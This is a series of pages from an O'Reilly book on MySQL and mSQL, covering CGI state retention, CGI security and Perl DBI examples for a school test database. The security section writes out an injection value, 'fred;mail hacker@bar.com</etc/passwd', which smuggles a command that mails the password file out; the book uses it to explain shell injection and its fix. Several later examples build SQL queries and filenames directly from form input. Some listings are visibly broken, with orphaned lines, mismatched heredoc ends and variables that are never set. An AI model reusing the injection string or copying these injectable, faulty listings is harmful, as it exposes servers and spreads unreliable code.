Now you have seen the basic operation of a CGI transaction: a client sends information, usually via form data, to the web server. The server then executes the CGI program, passing it the information. The CGI program then performs its magic and sends the output back to the server, where it is relayed to the client. From this point, you must make the leap from understanding how a CGI program works to understanding what makes them so popular.

While you've seen enough in this chapter to put together a rudimentary working CGI program, there are some critical topics you should learn before putting together real programs with MySQL or mSQL. First, you have to learn how to support multiple forms. You also need to study some security features that prevent malicious users from snooping or removing files on your site.

9.4.1. State Retention

Although it sounds like something done to hardened criminals, state retention is really a vitally important tool in providing advanced services to your users. The problem is this: HTTP is what is known as a `stateless' protocol. That is, the client sends a request to the server, the server returns data to the client and both go their separate ways. The server keeps no special information about the client that would aid it in any future transactions. Likewise, there is no guarantee the client will remember anything about the transaction that it could use later. This puts an immediate and significant restriction on the usability of the World Wide Web.

Writing CGI scripts under this protocol is like not having the ability to remember past conversations. Every time you talked to someone, no matter how often you had talked to them before, you would have to reintroduce yourselves and find common ground all over again. Needless to say, this puts a hamper on productivity. Notice in Figure 9-1 that each time the request reaches the CGI program, it is a completely new instance of the program, with no connection to the previous one.

Figure 9-1. Multiple form requests

On the client side of things, the advent of Netscape Navigator introduced a kludge-like solution called HTTP cookies. This involved the creation of a new HTTP header that could be sent back and forth between the client and server, similar to the Content-Type and Location headers. The client browser, upon receiving a cookie header, would save the information in the cookie as well as a domain -- included in the cookie information -- in which the cookie is valid. Then every time the browser accessed a URL within the given domain, the cookie header would be returned to the server for the use of any CGI program on that server.

The cookie method is used mainly to store user IDs. Information about a visitor can be stored in a file on the server machine. A unique ID for that user is then sent as a cookie to the user's browser. Now, whenever the user visits the site, the browser automatically sends the user's ID to the server. The server then passes the ID to the CGI program, which then opens the appropriate file and has access to all of the information about the user; all of this occurring transparently to the user.

Despite its usefulness, most large sites do not use cookies as the only method of state retention. There are a couple of reasons for this. First, not all browsers support cookies. Until very recently, the primary browser for the vision impaired -- not to mention the fast-net connection impaired -- Lynx, did not support cookies. It still does not "officially" support them, but some widely available offshoot versions now do. Secondly, and more importantly, cookies tie the user to a single machine. One of the great innovations of the web is that it is accessible from anywhere in the world. No matter where your web page was created and is stored you can show it off from any Internet-capable machine anywhere. However, if you try to access your cookie enhanced site from a machine other than your own, any personalization performed by the cookies will be lost.

Many sites still use cookies to provide users with personalized pages, but most augment the cookies with a traditional login/password style interface. If the site is accessed from a browser that does not provide a cookie, the page contains a form where a user enters a login name and password that was assigned at the time of his or her first visit. This form is usually small and discreet so as not to distract from the majority of users who have no interest in any kind of personalization, but are just passing through. When a user submits a login name and password via the form, a CGI then finds the correct information file for that user, just as if the name were sent as a cookie. Using this method, a person could log into a personalized web site from anywhere in the world.

Beyond the issue of user preferences and long-term information, a more subtle example of state retention can be provided by looking at popular search engines. When you perform a search through a search service such as AltaVista or Yahoo, you usually get back many more results than can be conveniently displayed. The way the search providers handle this is to show some small number of results -- usually ten or twenty -- combined with some sort of navigation tool that allows you to view the next set of results. While to a casual web surfer, this behavior has become commonplace and expected, the actual implementation is nontrivial and requires state retention.

When the user first makes a query to the search engine, the search engine gathers up all of the results, possibly stopping at some predefined limit. The trick is to then present these results to the user a few at a time, while remembering which user wanted the results and which set of results they wanted next. After stripping out the complexities of the search engine itself we are left with the problem of providing some sequence of information to a user, one page at a time. Consider Example 9-1 as an example CGI script that displays ten lines from a file and presents the user with the ability to view the next or previous ten lines depending on their position in the file.

Example 9-1. State Retention in a CGI Script

#!/usr/bin/perl -w

use CGI;

open(F,"/usr/dict/words") or die("Can't open! $!");
#This is the file that will be displayed. It can be any file.

$output = new CGI;

sub print_range { # This is the main function of the program.
        my $start = shift; # The starting line of the file.
        my $count = 0; # A placeholder.
        my $line = ""; # The current line of the file.
        print $output->header, $output->start_html('My Dictionary');
        # This starts the HTML with the title 'My Dictionary'.
        print "<pre>\n";
        while (($count < $start) and ($line = <F>)) { $count++; }
        # Skip all of the lines up to the starting line.
        while (($count < $start+10) and ($line = <F>) )
                { print $line; $count++; }
        # Then print the next ten lines.

        my $newnext = $start+10;
        my $newprev = $start-10;
        # Set up the starting lines for the 'Next' and 'Previous' URLs.

        print "</pre><p>";

        unless ($start == 0) { # Include a 'Previous' URL unless you're already
                               # at the beginning.
                print qq%<a href="read.cgi?start=$newprev">Previous</a>%;
        }

        unless (eof) { # Include a 'Next' URL unless you are at the end
                       # of the file.
                print qq% <a href="read.cgi?start=$newnext">Next</a>%;
        }
        print <<HTML;
</body><html>
HTML
        exit(0);
}

# If there is no data provided, start at the beginning.
if (not $output->param) {
        &print_range(0);
}

# Else start at the line provided by the data.
&print_range($output->param('start'));

This example provides state retention using the simplest possible method. There's no problem keeping the data persistent, because we've stored it in a file on the server. All we need to know is where to start printing. So the script simply includes in the URL the starting point for the next or previous group of lines, all of the information needed to generate any subsequent pages.

However, once your needs grow beyond paging through a file, relying on the URL can become cumbersome. One way to lighten the burden is to use HTML forms and to include the state information in <INPUT> tags of type HIDDEN. This method can go far and is used by many sites today to link together related CGI programs or to stretch out the usefulness of one CGI program as in the dictionary example. Instead of referring to a specific item -- such as the starting page -- the data in the URL could refer to an automatically generated user ID number.

This is how AltaVista and the other search engines work. Your initial search generates a user ID number which is hidden in the subsequent URLs. This user ID number refers to one or more files on the server machine that contain the results of your query. Two more values are included in the URL: your current position in the results file, and the direction in wish you want to view next. These three values are all that are needed to provide the powerful navigation system used by the big search services.

There is still something missing, though. The file used in the example, /usr/dict/words, is a very big file. What if we got tired of reading it halfway through but wanted to come back to it later? Unless I peeked at the URL of the next link, we would have no way of getting back to where we left off. Even AltaVista does not provide this. If you restart your computer or use a different one, there is no way to get back to your old search without reentering the query. However, this long-term state retention is the basis of the personalized web sites we mentioned earlier and it is worth examining how this would work. Example 9-2 is a modified version of Example 9-1.

Example 9-2. Robust State Retention

#!/usr/bin/perl -w

use CGI;

umask 0;
open(F,"/usr/dict/words") or die("Can't open! $!");
chdir("users") or die("Can't chdir! $!");
# This is the directory where all of the user information will
# be stored.

$output = new CGI;

if (not $output->param) {
        print $output->header, $output->start_html('My Dictionary');
        print <<HTML;
        <FORM ACTION="read2.cgi" METHOD=POST>
        <p>Enter your username:
                <INPUT NAME="username" SIZE=30>
        <p>
        </form></body></html>
HTML
        exit(0);
}

$user = $output->param('username');

## If a file for the user does not exist, create one and set the
## Starting value to '0'.
if ( not -e "$user" ) {
        open (U, ">$user") or die("Can't open! $!");
        print U "0\n";
        close U;
        &print_range('0');

## Else, if the user does exist, and the URL didn't specify
## a starting value, read the users last value and start there.
} elsif ( not $output->param('start') ) {
        open(U,"$user") or die("Can't open user! $!");
        $start = <U>; close U;
        chomp $start;
        &print_range($start);

## Else, if the user does exist, and the URL did specify
## a starting value, write the starting value to the user's
## file and then start printing.
} else {
        open(U,">$user") or die("Can't open user to write! $!");
        print U $output->param('start'), "\n";
        close U;
        &print_range($output->param('start'));
}

sub print_range {
        my $start = shift;
        my $count = 0;
        my $line = "";
        print $output->header, $output->start_html('My Dictionary');
        print "<pre>\n";
        while (($count < $start) and ($line = <F>)) { $count++; }
        while (($count < $start+10) and ($line = <F>) )
                { print $line; $count++; }
        my $newnext = $start+10;
        my $newprev = $start-10;
        print "</pre><p>";
        unless ($start == 0) {
                print
qq%<a href="read2.cgi?start=$newprev&username=$user">Previous</a>%;
        }
        unless (eof) {
                print
qq% <a href="read2.cgi?start=$newnext&username=$user">Next</a>%;
        # Note that the 'username' has been added to the URL.
        # Otherwise the CGI would forget which user it was dealing with.
        }
        print $output->end_html;
        exit(0);
}

9.4.2. Security

When it comes to running Internet servers, whether they are HTTP servers or otherwise, maintaining security is a primary concern. CGI, with its exchange of information between client and server, raises several important security related issues. The CGI protocol itself was designed to be reasonably secure. The information sent to the CGI program from the server is sent via the standard input or an environment variable, both secure methods. But once the CGI program has control of the data, there are no restrictions on what it can do. A poorly written CGI program can allow a malicious user to gain access to the server system. Consider the following CGI program:

#!/usr/bin/perl -w

use CGI;
my $output = new CGI;

my $username = $output->param('username');

print $output->header, $output->start_html('Finger Output'),
"<pre>", `finger $username`, "</pre>", $output->end_html;

This program provides a functional CGI interface to the finger command. If the program is run as just finger.cgi, it will list all current users on the server system. If run as finger.cgi?username=fred it will finger the user "fred" on the server system. You could even run it as finger.cgi?username=bob@foo.com to finger a remote user. However, if a user ran it as finger.cgi?username=fred;mail+hacker@bar.com</etc/passwd unwanted things could happen. The backtick operator `` in Perl spawns a shell and executes a command returning the result. In this program `finger $username` is used as an easy way to run the finger command and retrieve its output. Most shells, however, allow the grouping of commands on a single line. Any Bourne-like shell does this via the ";" symbol, for example. So `finger fred;mail hacker@bar.com</etc/passwd` will run the finger command and then run mail hacker@bar.com</etc/passwd, possibly sending the entire password file of the server system to an unwanted user.

One solution to this is to parse the incoming form data, looking for possible malicious intent. You could scan for the " ;" character and remove any characters after it, for instance. Another possibility is to make it impossible for such an attack to work, by using alternate methods. The above CGI program could be rewritten as follows:

#!/usr/local/bin/perl -w

use CGI;
my $output = new CGI;
my $username = $output->param('username');

$|++; # Disable buffering. This is to make sure that all the data makes it to
      # the client.

print $output->header, $output->start_html('Finger Output'), "<pre>\n";

$pid = open(C_OUT, "-|"); # This is a Perl idiom which spawns a child and opens a
                          # filehandle pipe between the parent and child.
if ($pid) { # This is the parent.
     print <C_OUT>; # Print the output from the child.
     print "</pre>", $output->end_html;
     exit(0); # End the program.
} elsif (defined $pid) { # This is the child.
     $|++; # Disable the buffering in the child as way.
     exec('/usr/bin/finger',$username) or die("exec() call failed.");
     # This executes the finger program with $username as the first and only
     # command line argument.
} else { die("fork() call failed."); } # Error checking.

As you can see, this is only a marginally more complex program. But if run as finger.cgi?username=fred;mail+hacker@bar.com</etc/passwd, the finger program is executed with the argument fred;mail hacker@bar.com</etc/passwd as if that were a single username.

NOTE

As an added level of security, this script also executes finger explicitly as /usr/bin/finger. In the unlikely event that the web server passed a strange PATH to your CGI program, running just finger could possibly execute something other than the desired program. Another security step you could take would be to examine the PATH environment variable and make sure it has reasonable values. Eliminating (the current working directory) from PATH is a good idea unless you know for sure where the current directory is and you have a special need to run a program there.

Another important security concern is that of user permissions. By default, a web server runs the CGI program as the same user that the server itself is running. Usually this is a pseudo-user, such as "nobody," with very few permissions. So the CGI program also has very few permissions. This is a generally good thing. This way, if a malicious remote user is able to remote access the server system via the CGI program, little damage can be done. The password-stealing example given earlier is one of the few things that could be done, but actual system damage can usually be contained.

However, running as a limited user also limits the ability of the CGI. If the CGI needs to read or write files, it can do so only in those places where it has permission. In the second persistent state example, for instance, a file is kept for each user. The CGI must have permission to read and write to the directory that contains these files, not to mention the files themselves. One way to do this would be to make the directory the same user as the server with read and write permissions for that user only. However, for a user such as "nobody," only root has that power. If you are a nonroot user you would have to contact your system administrator every time you wanted to change your CGI.

Another choice is to make the directory world readable and writable, essentially removing all protection from it. Since the outside world's only interface with these files is through your program, the danger here is not as great as it seems. However, if a loophole was found in your program, a remote user would have complete access to all of the files, including the ability to destroy them. In addition any legitimate users that are working on the server machine would also have the ability to alter the files. If you going to use this method, it must be on a server machine where all of the users are trusted. In addition, use the open directory only for files that are necessary to the CGI program. In other words, do not put any unnecessary files at risk.

9.4.3. Further Reading

If this is your first exposure to CGI programming, there are a many other places to go from here. Dozens of books have been written on the subject, and many of them assume no programming knowledge at all. CGI Programming on the World Wide Web from O'Reilly and Associates covers the material ranging from basic scripts in various languages to some really amazing tips and tricks. Free information is also in abundance on the World Wide Web. CGI Made Really Easy at http://www.jmarshall.com/easy/cgi/ is a good starting place.

Previous | Home | Next
9.3. The CGI Specification | Book Index | 9.5. CGI and Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI and Databases (MySQL & mSQL)

 MySQL and mSQLSearch this book

9.5. CGI and Databases

From the beginning of Internet time, databases have interacted with the development of the World Wide Web. In fact, many view the web as simply an enormous database of multimedia information.

Search engines are an everyday example of the benefits of databases. An engine does not go all over the web looking for keywords the moment you ask for them; instead the site's developers use other programs to create an enormous index that serves as a database from which the engine retrieves entries. Databases store information in a manner that allows quick, random-access retrieval.

Because databases are mutable, they lend even more power to the web: they turn it into a potential user interface for anything. System administration, for instance, could be performed remotely over a web interface instead of requiring the administrator to log into the affected system. Connecting databases to the web is the key to a new world of interactivity on the Internet.

NOTE

One reason for connecting databases to the web pops up repeatedly: much of the world's information is already in databases. Databases that existed before the creation of the web are referred to as legacy databases (as opposed to nonweb connected databases that were created recently, which are referred to as a bad idea). Many corporations (and even individuals) are now faced with the task of making these legacy databases available over the web. Unless your legacy database is in MySQL or mSQL, this topic is beyond the scope of this book.1

As mentioned earlier, only your imagination limits the uses of database-web connectivity. Thousands of unique, useful databases currently exist that are available over the web for some reason or another. The types of database that are behind the scenes of these applications vary widely. Some of them use CGI programs to interface with a database server such as MySQL or mSQL. These are the types that we are most interested in. Others use commercial applications to interact with popular desktop databases, such as Microsoft Access and Claris FileMaker Pro. Still others simply deal with plain text files, which are the simplest databases of all.

Using these three types of databases, useful web sites of all sizes and levels of sophistication can be developed. One of our focuses over the next few chapters will be to apply the power of MySQL and mSQL to the web through CGI programming.

Previous | Home | Next
9.4. Important Considerations for CGI Scripts | Book Index | 10. Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 10. Perl

Contents:

DBI
An Example DBI Application
Msql.pm
MysqlPerl

The Perl programming language has gone from a tool primarily used by Unix systems administrators to the most widely used development platform for the World Wide Web. Perl was not designed for the web, but its ease of use and powerful text handling abilities have made it a natural for CGI programming. Similarly, when mSQL first entered the scene, its extremely small footprint and execution time were very attractive to web developers who needed to serve thousands of transactions a day. MySQL, with its enhanced speed and capabilities provided an even greater incentive for web developers. Therefore, it was only natural that a Perl interface to both MySQL and mSQL was developed that allowed the best of both worlds.

NOTE

At the time of this writing there are two interfaces between MySQL and mSQL and Perl. The original consists of Mysql.pm and Msql.pm, custom interfaces that work only with MySQL and mSQL, respectively. The other, newer, interface is a plug-in for the Database Independent (DBI) set of modules. DBI is an attempt to provide a common Perl API for all database accesses and enable greater behind-the-scenes portability. The DBI interface has become the most robust and standard, and the makers of MySQL recommend that all work be done using DBI as development of the Mysql.pm and Msql.pm modules has ceased. However, many legacy systems still use these modules, so both will be covered here.

10.1. DBI

The recommended method for accessing MySQL and mSQL databases from Perl is the DBD/DBI interface. DBD/DBI stands for DataBase Dependent/DataBase Independent. The name arises from the two-layer implementation of the interface. At the bottom is the database dependent layer. Here, modules exist for each type of database accessible from Perl. On top of these database dependent modules lies a database independent layer. This is the interface that you use to access the database. The advantage of this scheme is that the programmer only has to learn one API, the database independent layer. Every time a new database comes along, someone needs only to write a DBD module for it and it will be accessible to all DBD/DBI programmers.

As with all Perl modules, you must use DBI to get access:

#!/usr/bin/perl -w

use strict;
use CGI qw(:standard);
use DBI;

NOTE

When running any MySQL/mSQL Perl programs, you should always include the -w command line argument. With this present, DBI will redirect all MySQL and mSQL specific error messages to STDERR so that you can see any database errors without checking for them explicitly in your program.

All interactions between Perl and MySQL and mSQL are conducted through what is known as a database handle. The database handle is an object -- represented as a scalar reference in Perl -- that implements all of the methods used to communicate with the database. You may have as many database handles open at once as you wish. You are limited only by your system resources. The connect() method uses a connection format of DBI:servertype:database:hostname:port (hostname and port and optional), with additional arguments of username and password to create a handle:

my $dbh = DBI->connect('DBI:mysql:mydata', undef, undef);
my $dbh = DBI->connect('DBI:mSQL:mydata:myserver', undef, undef);
my $dbh = DBI->connect('DBI:mysql:mydata','me','mypass');

The servertype attribute is the name of the DBD database-specific module, which in our case will be either "mysql" or "mSQL" (note capitalization). The first version creates a connection to the MySQL server on the local machine via a Unix-style socket. This is the most efficient way to communicate with the database and should be used if you are connecting to a local server. If the hostname is supplied it will connect to the server on that host using the standard port unless the port is supplied as well. If you do not provide a username and password when connecting to a MySQL server, the user executing the program must have sufficient privileges within the MySQL database. The username and password should always be left undefined for mSQL databases.

NOTE

Perl 5 has two different calling conventions for modules. With the object-oriented syntax, the arrow symbol "->" is used to reference a method in a particular class (as in DBI->connect). Another method is the indirect syntax, in which the method name is followed by the class name, then the arguments. The last connect method above would be written as connect DBI 'DBI:mysql:mydata', 'me', 'mypass'. Early versions of the Msql.pm used the indirect syntax exclusively and also enforced a specific method of capitalization inspired by the mSQL C API. Therefore, a lot of older MsqlPerl code will have lines in it like SelectDB $dbh 'test' where a simple $dbh->selectdb('test') would do. If you haven't guessed, we are partial to the object-oriented syntax, if only because the arrow makes the relationship between class and method clear.

Once you have connected to the MySQL or mSQL server, the database handle -- $dbh in all of the examples in this section -- is the gateway to the database server. For instance, to prepare an SQL query:

$dbh->prepare($query);

WARNING

When using mSQL you may select only one database at a time for a particular database handle. The mSQL server imposes this limit. However, you may change the current database at any time by calling connect again. With MySQL, you may include other databases in your query by explicitly naming them. In addition, with both MySQL and mSQL, if you need to access more than one database concurrently, you can create multiple database handles and use them side by side.

Chapter 21, "Perl Reference", describes the full range of methods and variables supplied by DBI as well as Mysql.pm and Msql.pm.

As an example of the use of DBI consider the following simple programs. In Example 10-1, datashow.cgi accepts a hostname as a parameter -- "localhost" is assumed if no parameter is present. The program then displays all of the databases available on that host.

Example 10-1. The CGI datashow.cgi Shows All of the Databases on a MySQL or mSQL Server

#!/usr/bin/perl -w

use strict;
use CGI qw(:standard);
use CGI::Carp;
    # Use the DBI module
use DBI;
CGI::use_named_parameters(1);

my ($server, $sock, $host);

my $output = new CGI;
$server = param('server') or $server = '';

# Prepare the MySQL DBD driver
my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

# If @databases is undefined we assume
# that means that the host does not have
# a running MySQL server. However, there could be other reasons
# for the failure. You can find a complete error message by
# checking $DBI::errmsg.
if (not @databases) {
        print header, start_html('title'=>"Information on $server",
        'BGCOLOR'=>'white');
        print <<END_OF_HTML;
<H1>$server</h1>
$server does not appear to have a running mSQL server.
</body></html>
END_OF_HTML
        exit(0);
}

                                'BGCOLOR'=>'white');
       print <<END_OF_HTML;
<H1>$host</h1>
<p>
$host\'s connection is on socket $sock.
<p>
Databases:<br>
<UL>
END_OF_HTML
foreach (@databases) {
        print "<LI>$_\n";
}
print <<END_OF_HTML;
</ul>
</body></html>
HTML
exit(0)

In Example 10-2, tableshow.cgi accepts the name of a database server (default is "localhost") and the name of a database on that server. The program then shows all of the available tables on that server.

Example 10-2. The CGI tableshow.cgi Shows All of the Tables Within a Database

#!/usr/bin/perl -w

use strict;
use CGI qw(:standard);
use CGI::Carp;
    # Use the Msql.pm module
use DBI;
CGI::use_named_parameters(1);

my ($db);
my $output = new CGI;
$db = param('db') or die("Database not supplied!");

# Connect to the requested server.
my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

# If $dbh does not exist, the attempt to connect to the
# database server failed. The server may not be running,
# or the given database may not exist.
if (not $dbh) {
        print header, start_html('title'=>"Information on $host => $db",
        'BGCOLOR'=>'white');

        print <<END_OF_HTML;
<H1>$host</h1>
<H2>$db</h2>
The connection attempt failed for the following reason:<BR>
$DBI::errstr
</body></html>
END_OF_HTML
        exit(0);
}

print header, start_html('title'=>"Information on $host => $db",
        'BGCOLOR'=>'white');
print <<END_OF_HTML;
<H1>$host</h1>
<H2>$db</h2>
<p>
Tables:<br>
<UL>
END_OF_HTML
# $dbh->listtable returns an array of the tables that are available
# in the current database.
my @tables = $dbh->func( '_ListTables' );
foreach (@tables) {
         print "<LI>$_\n";
}
print <<END_OF_HTML;
</ul>
</body></html>
END_OF_HTML
       exit(0);

And, finally, Example 10-3 shows all of the information about a specific table.

Example 10-3. The CGI tabledump.cgi Shows Information About a Specific Table

#!/usr/bin/perl -w

use strict;
use CGI qw(:standard);
use CGI::Carp;
    # Use the DBI module
use DBI;
CGI::use_named_parameters(1);

my ($db,$table);
my $output = new CGI;
$server = param('server') or $server = '';
$db = param('db') or die("Database not supplied!");

# Connect to the requested server.
my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

# We now prepare a query for the server asking for all of the data in
# the table.
my $table_data = $dbh->prepare("select * from $table");
# Now send the query to the server.
$table_data->execute;

# If the return value is undefined, the table must not exist. (Or it could
# be empty; we don't check for that.)
if (not $table_data) {
        print header, start_html('title'=>
        "Information on $host => $db => $table", 'BGCOLOR'=>'white');

        print <<END_OF_HTML;
<H1>$host</h1>
<H2>$db</h2>
The table '$table' does not exist in $db on $host.
</body></html>
END_OF_HTML
        exit(0);
}

# At this point, we know we have data to display. First we show the
# layout of the table.
print header, start_html('title'=>"Information on $host => $db => $table",
        'BGCOLOR'=>'white');
print <<END_OF_HTML;
<H1>$host</h1>
<H2>$db</h2>
<H3>$table</h3>
<p>
<TABLE BORDER>
<CAPTION>Fields</caption>
<TR>
 <TH>Field<TH>Type<TH>Size<TH>NOT NULL
</tr>
<UL>
END_OF_HTML

# $table_data->name returns a referece to an array
# of the fields of the database.
my @fields = @{$table_data->NAME};
# $table_data->type return an array reference of the types of fields.
# The types returned here are in SQL standard notation, not MySQL specific.
my @types = @{$table_data->TYPE};
# $table_data->is_not_null returns a Boolean array ref indicating which fields
# have the 'NOT NULL' flag.
my @not_null = @{$table_data->is_not_null};
# $table_data->length return an array ref of the lengths of the fields. This is
# fixed for INT and REAL types, but variable (defined when the table was
# created) for CHAR.
my @length = @{$table_data->length};

# All of the above arrays were returned in the same order, so that $fields[0],
# $types[0], $not_null[0] and $length[0] all refer to the same field.

foreach $field (0..$#fields) {
        print "<TR>\n";
print "<TD>$fields[$field]<TD>$types[$field]<TD>";
        print $length[$field] if $types[$field] eq 'SQL_CHAR';
        print "<TD>";
        print 'Y' if ($not_null[$field]);
        print "</tr>\n";
}

print <<END_OF_HTML;
</table>
<p>
<B>Data</b><br>
<OL>
END_OF_HTML

# Now we step through the data, row by row, using DBI::fetchrow_array().
# We save the data in an array that has the same order as the informational
# arrays (@fields, @types, etc.) we created earlier.
while(my(@data)=$table_data->fetchrow_array) {
        print "<LI>\n<UL>";
        for (0..$#data) {
                print "<LI>$fields[$_] => $data[$_]</li>\n";
        }
        print "</ul></li>";
}

print <<END_OF_HTML;
</ol>
</body></html>
      END_OF_HTML
Previous | Home | Next
9.5. CGI and Databases | Book Index | 10.2. An Example DBI Application
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Example DBI Application (MySQL & mSQL)

 MySQL and mSQLSearch this book

10.2. An Example DBI Application

DBI allows for the full range of SQL queries supported by MySQL and mSQL. As an example, consider a database used by a school to keep track of student records, class schedules, test scores, and so on. The database would contain several tables, one for class information, one for student information, one containing a list of tests, and a table for each test. MySQL and mSQL's ability to access data across tables -- such as the table-joining feature -- enables all of these tables to be used together as a coherent whole to form a teacher's aide application.

To begin with we are interested in creating tests for the various subjects. To do this we need a table that contains names and ID numbers for the tests. We also need a separate table for each test. This table will contain the scores for all of the students as well as a perfect score for comparison. The test table has the following structure:

CREATE TABLE test (
  id INT NOT NULL AUTO_INCREMENT,
  name CHAR(100),
  subject INT,
  num INT
)

The individual tests have table structures like this:

CREATE TABLE t7 (
  id INT NOT NULL,
  q1 INT,
  q2 INT,
  q3 INT,
  q4 INT,
  total INT
)

The table name is t followed by the test ID number from the test table. The user determines the number of questions when he or she creates the table. The total field is the sum of all of the questions.

The program that accesses and manipulates the test information is test.cgi. This program, which follows, allows only for adding new tests. Viewing tests and changing tests is not implemented but is left as an exercise. Using the other scripts in this chapter as a reference, completing this script should be only a moderate challenge. As it stands, this script effectively demonstrates the capabilities of DBI:[17]

[17]This example is a MySQL example. Of course, the API is identical for mSQL. The only "glitch" is with sequence generation. Remember that where MySQL automatically generates the next ID for the test table because of the AUTO_INCREMENT keyword, mSQL expects you to create a sequence on the test table and SELECT the _seq value before doing your insert.

#!/usr/bin/perl -w

use strict;
require my_end;

use CGI qw(:standard);
my $output = new CGI;
use_named_parameters(1);

# Use the DBI module.
use DBI;
# DBI::connect() uses the format 'DBI:driver:database', in our case we are
# using the MySQL driver and accessing the 'teach' database.
my $dbh = DBI->connect('DBI:mysql:teach');
# The add action itself is broken up into three separate functions. The first # function, add, prints out the template form for the user to create a new # # test.
sub add {
   $subject = param('subject') if (param('subjects'));
   $subject = "" if $subject eq 'all';

   print header, start_html('title'=>'Create a New Test',
      'BGCOLOR'=>'white');
   print <<END_OF_HTML;
<H1>Create a New Test</h1>
<FORM ACTION="test.cgi" METHOD=POST>
<INPUT TYPE=HIDDEN NAME="action" VALUE="add2">
Subject:
END_OF_HTML
   my @ids = ();
   my %subjects = ();
   my $out2 = $dbh->prepare("select id,name from subject order by name");
   $out2->execute;
   # DBI::fetchrow_array() is exactly analogous to Msql::fetchrow()
   while(my($id,$subject)=$out2->fetchrow_array) {
      push(@ids,$id);
      $subjects{"$id"} = $subject;
   }
   print popup_menu('name'=>'subjects',
      'values'=>[@ids],
      'default'=>$subject,
      'labels'=>\%subjects);
   print <<END_OF_HTML;
<br>
Number of Questions: <INPUT NAME="num" SIZE=5><br>
A name other identifier (such as a date) for the test:
 <INPUT NAME="name" SIZE=20>
<p>
<INPUT TYPE=SUBMIT VALUE=" Next Page ">
 <INPUT TYPE=RESET>
</form></body></html>
END_OF_HTML
}

This function displays a form allowing the user to choose a subject for the test along with the number of questions and a name. In order to print out a list of available subjects, the table of subjects is queried. When using a SELECT query with DBI, the query must first be prepared and then executed. The DBI::prepare function is useful with certain database servers which allow you to perform operations on prepared queries before executing them. With MySQL and mSQL however, it simply stores the query until the DBI::execute function is called.

The output of this function is sent to the add2 function as shown in the following:

sub add2 {
   my $subject = param('subjects');
   my $num = param('num');
   $name = param('name') if param('name');

   my $out = $dbh->prepare("select name from subject where id=$subject");
   $out->execute;
   my ($subname) = $out->fetchrow_array;

   print header, start_html('title'=>"Creating test for $subname",
      'BGCOLOR'=>'white');
   print <<END_OF_HTML;
<H1>Creating test for $subname</h1>
<h2>$name</h2>
<p>
<FORM ACTION="test.cgi" METHOD=POST>
<INPUT TYPE=HIDDEN NAME="action" VALUE="add3">
<INPUT TYPE=HIDDEN NAME="subjects" VALUE="$subject">
<INPUT TYPE=HIDDEN NAME="num" VALUE="$num">
<INPUT TYPE=HIDDEN NAME="name" VALUE="$name">
Enter the point value for each of the questions. The points need not
add up to 100.
<p>
END_OF_HTML
   for (1..$num) {
      print qq%$_: <INPUT NAME="q$_" SIZE=3> %;
      if (not $_ % 5) { print "<br>\n"; }
   }
   print <<END_OF_HTML;
<p>
Enter the text of the test:<br>
<TEXTAREA NAME="test" ROWS=20 COLS=60>
</textarea>
<p>
<INPUT TYPE=SUBMIT VALUE="Enter Test">
 <INPUT TYPE=RESET>
</form></body></html>
END_OF_HTML
}

In this function, a form for the test is dynamically generated based on the parameters entered in the last form. The user can enter the point value for each question on the test and the full text of the test as well. The output of this function is then sent to the final function, add3, as shown in the following:

sub add3 {
   my $subject = param('subjects');
   my $num = param('num');

   $name = param('name') if param('name');

   my $qname;
   ($qname = $name) =~ s/'/\\'/g;
   my $q1 = "insert into test (id, name, subject, num) values (
      '', '$qname', $subject, $num)";

   my $in = $dbh->prepare($q1);
   $in->execute;

   # Retrieve the ID value MySQL created for us
   my $id = $in->insertid;

   my $query = "create table t$id (
      id INT NOT NULL,
      ";

   my $def = "insert into t$id values ( 0, ";

   my $total = 0;
   my @qs = grep(/^q\d+$/,param);
   foreach (@qs) {
      $query .= $_ . " INT,\n";
      my $value = 0;
      $value = param($_) if param($_);
      $def .= "$value, ";
      $total += $value;
   }
   $query .= "total INT\n)";
   $def .= "$total)";

   my $in2 = $dbh->prepare($query);
   $in2->execute;
   my $in3 = $dbh->prepare($def);
   $in3->execute;

   # Note that we store the tests in separate files. This is
   # useful when dealing with mSQL because of its lack of BLOBs.
   # (The TEXT type provided with mSQL 2 would work, but
   # inefficently.)
   # Since we are using MySQL, we could just as well
   # stick the entire test into a BLOB.
   open(TEST,">teach/tests/$id") or die("A: $id $!");
   print TEST param('test'), "\n";
   close TEST;

   print header, start_html('title'=>'Test Created',
     'BGCOLOR'=>'white');
   print <<END_OF_HTML;
<H1>Test Created</h1>
<p>
The test has been created.
<p>
<A HREF=".">Go</a> to the Teacher's Aide home page.<br>
<A HREF="test.cgi">Go</a> to the Test main page.<br>
<A HREF="test.cgi?action=add">Add</a> another test.
</body></html>
END_OF_HTML
}

Here we enter the information about the test into the database. In doing so we take a step beyond the usual data insertion that we have seen so far. The information about the test is so complex that each test is best kept in a table of its own. Therefore, instead of adding data to an existing table, we have to create a whole new table for each test. First we create an ID for the new test using MySQL auto increment feature and enter the name and ID of the test into a table called test. This table is simply an index of tests so that the ID number of any test can be quickly obtained. Then we simultaneously create two new queries. The first is a CREATE TABLE query which defines our new test. The second is an INSERT query that populates our table with the maximum score for each question. These queries are then sent to the database server, completing the process (after sending a success page to the user). Later, after the students have taken the test, each student will get an entry in the test table. Then entries can then be compared to the maximum values to determine the student's score.

Previous | Home | Next
10. Perl | Book Index | 10.3. Msql.pm
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Msql.pm (MySQL & mSQL)

 MySQL and mSQLSearch this book

10.3. Msql.pm

The Msql.pm module is the original Perl interface to mSQL. While it has been replaced by the DBI modules, there are still many sites that depend on this old interface. To illustrate the use of Msql.pm, we will continue the teacher's aide example.

Since we need classes in which to give the tests, let's examine the table of subjects. The table structure looks like this:

CREATE TABLE subject (
  id INT NOT NULL,
  name CHAR(500),
  teacher CHAR(100)
)

CREATE UNIQUE  INDEX idx1 ON subject (
        id,
        name,
        teacher
)

CREATE SEQUENCE ON subject

The id number is a unique identifier for the class, while the name and teacher fields are the name of the course and the name of the teacher respectively. There is also an index of all three of the fields that speeds up queries. Finally, we define a sequence for the table. The ID numbers are generated by this sequence.

The CGI program to access and manipulate this data must to several things.

